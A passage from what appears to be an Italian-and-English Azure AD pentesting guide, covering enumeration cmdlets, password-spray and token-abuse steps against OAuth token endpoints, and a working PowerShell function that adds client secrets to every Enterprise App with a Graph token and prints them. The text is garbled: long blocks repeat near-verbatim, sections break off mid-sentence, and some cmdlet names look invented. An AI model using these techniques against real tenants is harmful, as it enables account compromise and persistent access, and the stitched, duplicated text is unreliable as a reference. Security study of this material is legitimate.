Per ottenere informazioni sui servizi di Azure Kubernetes presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzAksCluster
. Questo comando restituirà una lista di servizi di Azure Kubernetes con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzAksCluster
Ottenere informazioni sui servizi di Azure Container Registry
Per ottenere informazioni sui servizi di Azure Container Registry presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzContainerRegistry
. Questo comando restituirà una lista di servizi di Azure Container Registry con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzContainerRegistry
Ottenere informazioni sui servizi di Azure Functions
Per ottenere informazioni sui servizi di Azure Functions presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzFunctionApp
. Questo comando restituirà una lista di servizi di Azure Functions con informazioni come il nome, l'ID, lo stato e altro ancora.
Get-AzFunctionApp
Ottenere informazioni sui servizi di Azure Logic Apps
Per ottenere informazioni sui servizi di Azure Logic Apps presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzLogicApp
. Questo comando restituirà una lista di servizi di Azure Logic Apps con informazioni come il nome, l'ID, lo stato e altro ancora.
Get-AzLogicApp
Ottenere informazioni sui servizi di Azure Event Grid
Per ottenere informazioni sui servizi di Azure Event Grid presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzEventGridTopic
. Questo comando restituirà una lista di servizi di Azure Event Grid con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzEventGridTopic
Ottenere informazioni sui servizi di Azure Event Hub
Per ottenere informazioni sui servizi di Azure Event Hub presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzEventHubNamespace
. Questo comando restituirà una lista di servizi di Azure Event Hub con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzEventHubNamespace
Ottenere informazioni sui servizi di Azure Service Bus
Per ottenere informazioni sui servizi di Azure Service Bus presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzServiceBusNamespace
. Questo comando restituirà una lista di servizi di Azure Service Bus con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzServiceBusNamespace
Ottenere informazioni sui servizi di Azure Key Vault
Per ottenere informazioni sui servizi di Azure Key Vault presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzKeyVault
. Questo comando restituirà una lista di servizi di Azure Key Vault con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzKeyVault
Ottenere informazioni sui servizi di Azure Cognitive Services
Per ottenere informazioni sui servizi di Azure Cognitive Services presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzCognitiveServicesAccount
. Questo comando restituirà una lista di servizi di Azure Cognitive Services con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzCognitiveServicesAccount
Ottenere informazioni sui servizi di Azure Search
Per ottenere informazioni sui servizi di Azure Search presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzSearchService
. Questo comando restituirà una lista di servizi di Azure Search con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzSearchService
Ottenere informazioni sui servizi di Azure Redis Cache
Per ottenere informazioni sui servizi di Azure Redis Cache presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzRedisCache
. Questo comando restituirà una lista di servizi di Azure Redis Cache con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzRedisCache
Ottenere informazioni sui servizi di Azure CDN
Per ottenere informazioni sui servizi di Azure CDN presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzCdnProfile
. Questo comando restituirà una lista di servizi di Azure CDN con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzCdnProfile
Ottenere informazioni sui servizi di Azure Traffic Manager
Per ottenere informazioni sui servizi di Azure Traffic Manager presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzTrafficManagerProfile
. Questo comando restituirà una lista di servizi di Azure Traffic Manager con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzTrafficManagerProfile
Ottenere informazioni sui servizi di Azure Front Door
Per ottenere informazioni sui servizi di Azure Front Door presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzFrontDoor
. Questo comando restituirà una lista di servizi di Azure Front Door con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzFrontDoor
Ottenere informazioni sui servizi di Azure DDoS Protection
Per ottenere informazioni sui servizi di Azure DDoS Protection presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzDdosProtectionPlan
. Questo comando restituirà una lista di servizi di Azure DDoS Protection con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzDdosProtectionPlan
Ottenere informazioni sui servizi di Azure Firewall
Per ottenere informazioni sui servizi di Azure Firewall presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzFirewall
. Questo comando restituirà una lista di servizi di Azure Firewall con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzFirewall
Ottenere informazioni sui servizi di Azure Virtual WAN
Per ottenere informazioni sui servizi di Azure Virtual WAN presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzVirtualWan
. Questo comando restituirà una lista di servizi di Azure Virtual WAN con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzVirtualWan
Ottenere informazioni sui servizi di Azure ExpressRoute
Per ottenere informazioni sui servizi di Azure ExpressRoute presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzExpressRouteCircuit
. Questo comando restituirà una lista di servizi di Azure ExpressRoute con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzExpressRouteCircuit
Ottenere informazioni sui servizi di Azure VPN Gateway
Per ottenere informazioni sui servizi di Azure VPN Gateway presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzVirtualNetworkGateway
. Questo comando restituirà una lista di servizi di Azure VPN Gateway con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzVirtualNetworkGateway
Ottenere informazioni sui servizi di Azure Bastion
Per ottenere informazioni sui servizi di Azure Bastion presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzBastion
. Questo comando restituirà una lista di servizi di Azure Bastion con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzBastion
Ottenere informazioni sui servizi di Azure Backup
Per ottenere informazioni sui servizi di Azure Backup presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzRecoveryServicesVault
. Questo comando restituirà una lista di servizi di Azure Backup con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzRecoveryServicesVault
Ottenere informazioni sui servizi di Azure Site Recovery
Per ottenere informazioni sui servizi di Azure Site Recovery presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzSiteRecoveryVault
. Questo comando restituirà una lista di servizi di Azure Site Recovery con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzSiteRecoveryVault
Ottenere informazioni sui servizi di Azure Monitor
Per ottenere informazioni sui servizi di Azure Monitor presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzMonitorDiagnosticSetting
. Questo comando restituirà una lista di servizi di Azure Monitor con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzMonitorDiagnosticSetting
Ottenere informazioni sui servizi di Azure Security Center
Per ottenere informazioni sui servizi di Azure Security Center presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzSecurityContact
. Questo comando restituirà una lista di servizi di Azure Security Center con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzSecurityContact
Ottenere informazioni sui servizi di Azure Sentinel
Per ottenere informazioni sui servizi di Azure Sentinel presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzSentinel
. Questo comando restituirà una lista di servizi di Azure Sentinel con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzSentinel
Ottenere informazioni sui servizi di Azure Information Protection
Per ottenere informazioni sui servizi di Azure Information Protection presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzInformationProtectionLabel
. Questo comando restituirà una lista
# Get all groups
Get-AzADGroup
# Get details of a group
Get-AzADGroup -ObjectId <id>
# Search group by string
Get-AzADGroup -SearchString "admin" | fl * #Search at the beginnig of DisplayName
Get-AzADGroup |?{$_.Displayname -match "admin"}
# Get members of group
Get-AzADGroupMember -GroupDisplayName <resource_group_name>
# Get roles of group
Get-AzRoleAssignment -ResourceGroupName <resource_group_name>
Aggiungi utente al gruppo
I proprietari del gruppo possono aggiungere nuovi utenti al gruppo
Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose
I gruppi possono essere dinamici, il che significa essenzialmente che se un utente soddisfa determinate condizioni, verrà aggiunto a un gruppo. Naturalmente, se le condizioni si basano su attributi che un utente può controllare, potrebbe abusare di questa funzionalità per entrare in altri gruppi. Verifica come abusare dei gruppi dinamici nella seguente pagina:
Service Principals / Applicazioni Enterprise
Nota che il Service Principal nella terminologia di PowerShell è chiamato Applicazioni Enterprise nel portale Azure (web).
# Get Service Principals
az ad sp list --all
az ad sp list --all --query "[].[displayName]" -o table
# Get details of one SP
az ad sp show --id 00000000-0000-0000-0000-000000000000
# Search SP by string
az ad sp list --all --query "[?contains(displayName,'app')].displayName"
# Get owner of service principal
az ad sp owner list --id <id> --query "[].[displayName]" -o table
# Get service principals owned by the current user
az ad sp list --show-mine
# List apps that have password credentials
az ad sp list --all --query "[?passwordCredentials != null].displayName"
# List apps that have key credentials (use of certificate authentication)
az ad sp list -all --query "[?keyCredentials != null].displayName"
# Get Service Principals
Get-AzureADServicePrincipal -All $true
# Get details about a SP
Get-AzureADServicePrincipal -ObjectId <id> | fl *
# Get SP by string name or Id
Get-AzureADServicePrincipal -All $true | ?{$_.DisplayName -match "app"} | fl
Get-AzureADServicePrincipal -All $true | ?{$_.AppId -match "103947652-1234-5834-103846517389"}
# Get owner of SP
Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalOwner |fl *
# Get objects owned by a SP
Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalOwnedObject
# Get objects created by a SP
Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalCreatedObject
# Get groups where the SP is a member
Get-AzureADServicePrincipal | Get-AzureADServicePrincipalMembership
Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalMembership |fl *
Az PowerShell
Installazione
Per utilizzare il modulo Az PowerShell, è necessario installarlo. Ecco come farlo:
Install-Module -Name Az -AllowClobber -Scope CurrentUser
Connessione ad Azure AD
Per connettersi ad Azure AD utilizzando Az PowerShell, è possibile utilizzare il comando Connect-AzAccount
. Sarà richiesto di accedere con le credenziali dell'account Azure.
Connect-AzAccount
Ottenere informazioni sull'utente corrente
Per ottenere informazioni sull'utente corrente connesso ad Azure AD, è possibile utilizzare il comando Get-AzADUser
. Questo comando restituirà una serie di informazioni sull'utente, come il nome, l'ID, il ruolo e altro ancora.
Get-AzADUser
Ottenere informazioni sui gruppi
Per ottenere informazioni sui gruppi presenti in Azure AD, è possibile utilizzare il comando Get-AzADGroup
. Questo comando restituirà una lista di gruppi con informazioni come il nome, l'ID, i membri e altro ancora.
Get-AzADGroup
Ottenere informazioni sui ruoli
Per ottenere informazioni sui ruoli presenti in Azure AD, è possibile utilizzare il comando Get-AzADRoleDefinition
. Questo comando restituirà una lista di ruoli con informazioni come il nome, l'ID, le autorizzazioni e altro ancora.
Get-AzADRoleDefinition
Ottenere informazioni sulle app registrate
Per ottenere informazioni sulle app registrate in Azure AD, è possibile utilizzare il comando Get-AzADApplication
. Questo comando restituirà una lista di app con informazioni come il nome, l'ID, i proprietari e altro ancora.
Get-AzADApplication
Ottenere informazioni sulle sottoscrizioni
Per ottenere informazioni sulle sottoscrizioni associate all'account Azure, è possibile utilizzare il comando Get-AzSubscription
. Questo comando restituirà una lista di sottoscrizioni con informazioni come il nome, l'ID, lo stato e altro ancora.
Get-AzSubscription
Ottenere informazioni sulle risorse
Per ottenere informazioni sulle risorse presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzResource
. Questo comando restituirà una lista di risorse con informazioni come il nome, il tipo, la posizione e altro ancora.
Get-AzResource
Ottenere informazioni sulle policy di Azure
Per ottenere informazioni sulle policy di Azure associate a una sottoscrizione, è possibile utilizzare il comando Get-AzPolicyAssignment
. Questo comando restituirà una lista di policy con informazioni come il nome, l'ID, lo stato e altro ancora.
Get-AzPolicyAssignment
Ottenere informazioni sulle reti virtuali
Per ottenere informazioni sulle reti virtuali presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzVirtualNetwork
. Questo comando restituirà una lista di reti virtuali con informazioni come il nome, l'ID, l'intervallo di indirizzi e altro ancora.
Get-AzVirtualNetwork
Ottenere informazioni sugli account di archiviazione
Per ottenere informazioni sugli account di archiviazione presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzStorageAccount
. Questo comando restituirà una lista di account di archiviazione con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzStorageAccount
Ottenere informazioni sui gruppi di sicurezza di rete
Per ottenere informazioni sui gruppi di sicurezza di rete presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzNetworkSecurityGroup
. Questo comando restituirà una lista di gruppi di sicurezza di rete con informazioni come il nome, l'ID, le regole e altro ancora.
Get-AzNetworkSecurityGroup
Ottenere informazioni sui log di monitoraggio
Per ottenere informazioni sui log di monitoraggio presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzLog
. Questo comando restituirà una lista di log di monitoraggio con informazioni come l'ID, il tipo, il livello e altro ancora.
Get-AzLog
Ottenere informazioni sulle macchine virtuali
Per ottenere informazioni sulle macchine virtuali presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzVM
. Questo comando restituirà una lista di macchine virtuali con informazioni come il nome, l'ID, lo stato e altro ancora.
Get-AzVM
Ottenere informazioni sui database SQL
Per ottenere informazioni sui database SQL presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzSqlDatabase
. Questo comando restituirà una lista di database SQL con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzSqlDatabase
Ottenere informazioni sui servizi app
Per ottenere informazioni sui servizi app presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzWebApp
. Questo comando restituirà una lista di servizi app con informazioni come il nome, l'ID, lo stato e altro ancora.
Get-AzWebApp
Ottenere informazioni sui servizi di bilanciamento del carico
Per ottenere informazioni sui servizi di bilanciamento del carico presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzLoadBalancer
. Questo comando restituirà una lista di servizi di bilanciamento del carico con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzLoadBalancer
Ottenere informazioni sui servizi di Azure Kubernetes
Per ottenere informazioni sui servizi di Azure Kubernetes presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzAksCluster
. Questo comando restituirà una lista di servizi di Azure Kubernetes con informazioni come il nome, l'ID, lo stato e altro ancora.
Get-AzAksCluster
Ottenere informazioni sui servizi di Azure Container Registry
Per ottenere informazioni sui servizi di Azure Container Registry presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzContainerRegistry
. Questo comando restituirà una lista di servizi di Azure Container Registry con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzContainerRegistry
Ottenere informazioni sui servizi di Azure Functions
Per ottenere informazioni sui servizi di Azure Functions presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzFunctionApp
. Questo comando restituirà una lista di servizi di Azure Functions con informazioni come il nome, l'ID, lo stato e altro ancora.
Get-AzFunctionApp
Ottenere informazioni sui servizi di Azure Logic Apps
Per ottenere informazioni sui servizi di Azure Logic Apps presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzLogicApp
. Questo comando restituirà una lista di servizi di Azure Logic Apps con informazioni come il nome, l'ID, lo stato e altro ancora.
Get-AzLogicApp
Ottenere informazioni sui servizi di Azure Event Grid
Per ottenere informazioni sui servizi di Azure Event Grid presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzEventGridTopic
. Questo comando restituirà una lista di servizi di Azure Event Grid con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzEventGridTopic
Ottenere informazioni sui servizi di Azure Event Hub
Per ottenere informazioni sui servizi di Azure Event Hub presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzEventHubNamespace
. Questo comando restituirà una lista di servizi di Azure Event Hub con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzEventHubNamespace
Ottenere informazioni sui servizi di Azure Service Bus
Per ottenere informazioni sui servizi di Azure Service Bus presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzServiceBusNamespace
. Questo comando restituirà una lista di servizi di Azure Service Bus con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzServiceBusNamespace
Ottenere informazioni sui servizi di Azure Key Vault
Per ottenere informazioni sui servizi di Azure Key Vault presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzKeyVault
. Questo comando restituirà una lista di servizi di Azure Key Vault con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzKeyVault
Ottenere informazioni sui servizi di Azure Cognitive Services
Per ottenere informazioni sui servizi di Azure Cognitive Services presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzCognitiveServicesAccount
. Questo comando restituirà una lista di servizi di Azure Cognitive Services con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzCognitiveServicesAccount
Ottenere informazioni sui servizi di Azure Search
Per ottenere informazioni sui servizi di Azure Search presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzSearchService
. Questo comando restituirà una lista di servizi di Azure Search con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzSearchService
Ottenere informazioni sui servizi di Azure Redis Cache
Per ottenere informazioni sui servizi di Azure Redis Cache presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzRedisCache
. Questo comando restituirà una lista di servizi di Azure Redis Cache con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzRedisCache
Ottenere informazioni sui servizi di Azure CDN
Per ottenere informazioni sui servizi di Azure CDN presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzCdnProfile
. Questo comando restituirà una lista di servizi di Azure CDN con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzCdnProfile
Ottenere informazioni sui servizi di Azure Traffic Manager
Per ottenere informazioni sui servizi di Azure Traffic Manager presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzTrafficManagerProfile
. Questo comando restituirà una lista di servizi di Azure Traffic Manager con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzTrafficManagerProfile
Ottenere informazioni sui servizi di Azure Front Door
Per ottenere informazioni sui servizi di Azure Front Door presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzFrontDoor
. Questo comando restituirà una lista di servizi di Azure Front Door con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzFrontDoor
Ottenere informazioni sui servizi di Azure DDoS Protection
Per ottenere informazioni sui servizi di Azure DDoS Protection presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzDdosProtectionPlan
. Questo comando restituirà una lista di servizi di Azure DDoS Protection con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzDdosProtectionPlan
Ottenere informazioni sui servizi di Azure Firewall
Per ottenere informazioni sui servizi di Azure Firewall presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzFirewall
. Questo comando restituirà una lista di servizi di Azure Firewall con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzFirewall
Ottenere informazioni sui servizi di Azure Virtual WAN
Per ottenere informazioni sui servizi di Azure Virtual WAN presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzVirtualWan
. Questo comando restituirà una lista di servizi di Azure Virtual WAN con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzVirtualWan
Ottenere informazioni sui servizi di Azure ExpressRoute
Per ottenere informazioni sui servizi di Azure ExpressRoute presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzExpressRouteCircuit
. Questo comando restituirà una lista di servizi di Azure ExpressRoute con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzExpressRouteCircuit
Ottenere informazioni sui servizi di Azure VPN Gateway
Per ottenere informazioni sui servizi di Azure VPN Gateway presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzVirtualNetworkGateway
. Questo comando restituirà una lista di servizi di Azure VPN Gateway con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzVirtualNetworkGateway
Ottenere informazioni sui servizi di Azure Bastion
Per ottenere informazioni sui servizi di Azure Bastion presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzBastion
. Questo comando restituirà una lista di servizi di Azure Bastion con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzBastion
Ottenere informazioni sui servizi di Azure Backup
Per ottenere informazioni sui servizi di Azure Backup presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzRecoveryServicesVault
. Questo comando restituirà una lista di servizi di Azure Backup con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzRecoveryServicesVault
Ottenere informazioni sui servizi di Azure Site Recovery
Per ottenere informazioni sui servizi di Azure Site Recovery presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzSiteRecoveryVault
. Questo comando restituirà una lista di servizi di Azure Site Recovery con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzSiteRecoveryVault
Ottenere informazioni sui servizi di Azure Monitor
Per ottenere informazioni sui servizi di Azure Monitor presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzMonitorDiagnosticSetting
. Questo comando restituirà una lista di servizi di Azure Monitor con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzMonitorDiagnosticSetting
Ottenere informazioni sui servizi di Azure Security Center
Per ottenere informazioni sui servizi di Azure Security Center presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzSecurityCenterSubscription
. Questo comando restituirà una lista di servizi di Azure Security Center con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzSecurityCenterSubscription
Ottenere informazioni sui servizi di Azure Sentinel
Per ottenere informazioni sui servizi di Azure Sentinel presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzSentinelWorkspace
. Questo comando restituirà una lista di servizi di Azure Sentinel con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzSentinelWorkspace
Ottenere informazioni sui servizi di Azure Policy
Per ottenere informazioni sui servizi di Azure Policy presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzPolicyDefinition
. Questo comando restituirà una
# Get SPs
Get-AzADServicePrincipal
# Get info of 1 SP
Get-AzADServicePrincipal -ObjectId <id>
# Search SP by string
Get-AzADServicePrincipal | ?{$_.DisplayName -match "app"}
# Get roles of a SP
Get-AzRoleAssignment -ServicePrincipalName <String>
Azure AD
Enumeration
User Enumeration
To enumerate users in Azure AD, you can use the following methods:
Method 1: Azure AD Graph API
You can use the Azure AD Graph API to enumerate users. The API endpoint is https://graph.windows.net/{tenant_id}/users
. You can make a GET request to this endpoint to retrieve a list of users.
Method 2: Microsoft Graph API
You can also use the Microsoft Graph API to enumerate users. The API endpoint is https://graph.microsoft.com/v1.0/users
. You can make a GET request to this endpoint to retrieve a list of users.
Group Enumeration
To enumerate groups in Azure AD, you can use the following methods:
Method 1: Azure AD Graph API
You can use the Azure AD Graph API to enumerate groups. The API endpoint is https://graph.windows.net/{tenant_id}/groups
. You can make a GET request to this endpoint to retrieve a list of groups.
Method 2: Microsoft Graph API
You can also use the Microsoft Graph API to enumerate groups. The API endpoint is https://graph.microsoft.com/v1.0/groups
. You can make a GET request to this endpoint to retrieve a list of groups.
Exploitation
Password Spray Attack
A password spray attack is a type of brute-force attack where an attacker tries a small number of commonly used passwords against a large number of user accounts. This attack is effective because many users tend to use weak passwords.
To perform a password spray attack against Azure AD, you can use the following methods:
Method 1: Azure AD Graph API
You can use the Azure AD Graph API to perform a password spray attack. You can make a POST request to the https://graph.windows.net/{tenant_id}/oauth2/token
endpoint with the following parameters:
grant_type
: Set this topassword
username
: Set this to the target user's usernamepassword
: Set this to a password from your password listclient_id
: Set this to the client ID of your Azure AD applicationclient_secret
: Set this to the client secret of your Azure AD application
If the authentication is successful, you will receive an access token that can be used to access the target user's resources.
Method 2: Microsoft Graph API
You can also use the Microsoft Graph API to perform a password spray attack. You can make a POST request to the https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token
endpoint with the following parameters:
grant_type
: Set this topassword
username
: Set this to the target user's usernamepassword
: Set this to a password from your password listclient_id
: Set this to the client ID of your Azure AD applicationclient_secret
: Set this to the client secret of your Azure AD application
If the authentication is successful, you will receive an access token that can be used to access the target user's resources.
Token Impersonation
Token impersonation is a technique where an attacker obtains a valid access token for a user and uses it to impersonate that user. This can be used to gain unauthorized access to the user's resources.
To perform token impersonation in Azure AD, you can use the following methods:
Method 1: Azure AD Graph API
You can use the Azure AD Graph API to perform token impersonation. You can make a POST request to the https://graph.windows.net/{tenant_id}/oauth2/token
endpoint with the following parameters:
grant_type
: Set this topassword
username
: Set this to the target user's usernamepassword
: Set this to the target user's passwordclient_id
: Set this to the client ID of your Azure AD applicationclient_secret
: Set this to the client secret of your Azure AD application
If the authentication is successful, you will receive an access token that can be used to impersonate the target user.
Method 2: Microsoft Graph API
You can also use the Microsoft Graph API to perform token impersonation. You can make a POST request to the https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token
endpoint with the following parameters:
grant_type
: Set this topassword
username
: Set this to the target user's usernamepassword
: Set this to the target user's passwordclient_id
: Set this to the client ID of your Azure AD applicationclient_secret
: Set this to the client secret of your Azure AD application
If the authentication is successful, you will receive an access token that can be used to impersonate the target user.
Privilege Escalation
Application Permission Abuse
Application permission abuse is a technique where an attacker abuses the permissions granted to an application in Azure AD to gain unauthorized access to resources.
To perform application permission abuse in Azure AD, you can use the following methods:
Method 1: Azure AD Graph API
You can use the Azure AD Graph API to perform application permission abuse. You can make a GET request to the https://graph.windows.net/{tenant_id}/applications
endpoint to retrieve a list of applications. You can then analyze the permissions granted to each application and identify any applications with excessive permissions.
Once you have identified an application with excessive permissions, you can use the application's client ID and client secret to authenticate and gain access to resources.
Method 2: Microsoft Graph API
You can also use the Microsoft Graph API to perform application permission abuse. You can make a GET request to the https://graph.microsoft.com/v1.0/applications
endpoint to retrieve a list of applications. You can then analyze the permissions granted to each application and identify any applications with excessive permissions.
Once you have identified an application with excessive permissions, you can use the application's client ID and client secret to authenticate and gain access to resources.
Privileged Role Abuse
Privileged role abuse is a technique where an attacker abuses the privileges granted to a user or group in Azure AD to gain unauthorized access to resources.
To perform privileged role abuse in Azure AD, you can use the following methods:
Method 1: Azure AD Graph API
You can use the Azure AD Graph API to perform privileged role abuse. You can make a GET request to the https://graph.windows.net/{tenant_id}/users/{user_id}/appRoleAssignments
endpoint to retrieve a list of app role assignments for a user. You can then analyze the app role assignments and identify any assignments with excessive privileges.
Once you have identified an app role assignment with excessive privileges, you can use the assignment's app role ID to gain access to resources.
Method 2: Microsoft Graph API
You can also use the Microsoft Graph API to perform privileged role abuse. You can make a GET request to the https://graph.microsoft.com/v1.0/users/{user_id}/appRoleAssignments
endpoint to retrieve a list of app role assignments for a user. You can then analyze the app role assignments and identify any assignments with excessive privileges.
Once you have identified an app role assignment with excessive privileges, you can use the assignment's app role ID to gain access to resources.
$Token = 'eyJ0eX..'
$URI = 'https://graph.microsoft.com/v1.0/applications'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value
Il proprietario di un Service Principal può cambiare la sua password.
Elencare e provare ad aggiungere un client secret su ogni Enterprise App
```powershell # Just call Add-AzADAppSecret Function Add-AzADAppSecret { <# .SYNOPSIS Add client secret to the applications.
.PARAMETER GraphToken Pass the Graph API Token
.EXAMPLE PS C:> Add-AzADAppSecret -GraphToken 'eyJ0eX..'
.LINK https://docs.microsoft.com/en-us/graph/api/application-list?view=graph-rest-1.0&tabs=http https://docs.microsoft.com/en-us/graph/api/application-addpassword?view=graph-rest-1.0&tabs=http #>
[CmdletBinding()] param( [Parameter(Mandatory=$True)] [String] $GraphToken = $null )
$AppList = $null $AppPassword = $null
List All the Applications
$Params = @{ "URI" = "https://graph.microsoft.com/v1.0/applications" "Method" = "GET" "Headers" = @{ "Content-Type" = "application/json" "Authorization" = "Bearer $GraphToken" } }
try { $AppList = Invoke-RestMethod @Params -UseBasicParsing } catch { }
Add Password in the Application
if($AppList -ne $null) { [System.Collections.ArrayList]$Details = @()
foreach($App in $AppList.value) { $ID = $App.ID $psobj = New-Object PSObject
$Params = @{ "URI" = "https://graph.microsoft.com/v1.0/applications/$ID/addPassword" "Method" = "POST" "Headers" = @{ "Content-Type" = "application/json" "Authorization" = "Bearer $GraphToken" } }
$Body = @{ "passwordCredential"= @{ "displayName" = "Password" } }
try { $AppPassword = Invoke-RestMethod @Params -UseBasicParsing -Body ($Body | ConvertTo-Json) Add-Member -InputObject $psobj -NotePropertyName "Object ID" -NotePropertyValue $ID Add-Member -InputObject $psobj -NotePropertyName "App ID" -NotePropertyValue $App.appId Add-Member -InputObject $psobj -NotePropertyName "App Name" -NotePropertyValue $App.displayName Add-Member -InputObject $psobj -NotePropertyName "Key ID" -NotePropertyValue $AppPassword.keyId Add-Member -InputObject $psobj -NotePropertyName "Secret" -NotePropertyValue $AppPassword.secretText $Details.Add($psobj) | Out-Null } catch { Write-Output "Failed to add new client secret to '$($App.displayName)' Application." } } if($Details -ne $null) { Write-Output "" Write-Output "Client secret added to : " Write-Output $Details | fl * } } else { Write-Output "Failed to Enumerate the Applications." } }
</details>
### Ruoli
<div data-gb-custom-block data-tag="tabs">
<div data-gb-custom-block data-tag="tab" data-title='az cli'>
```bash
# Get roles
az role definition list
# Get assigned roles
az role assignment list --all --query "[].roleDefinitionName"
az role assignment list --all | jq '.[] | .roleDefinitionName,.scope'
# Get info of 1 role
az role definition list --name "AzureML Registry User"
# Get only custom roles
az role definition list --custom-role-only
# Get only roles assigned to the resource group indicated
az role definition list --resource-group <resource_group>
# Get only roles assigned to the indicated scope
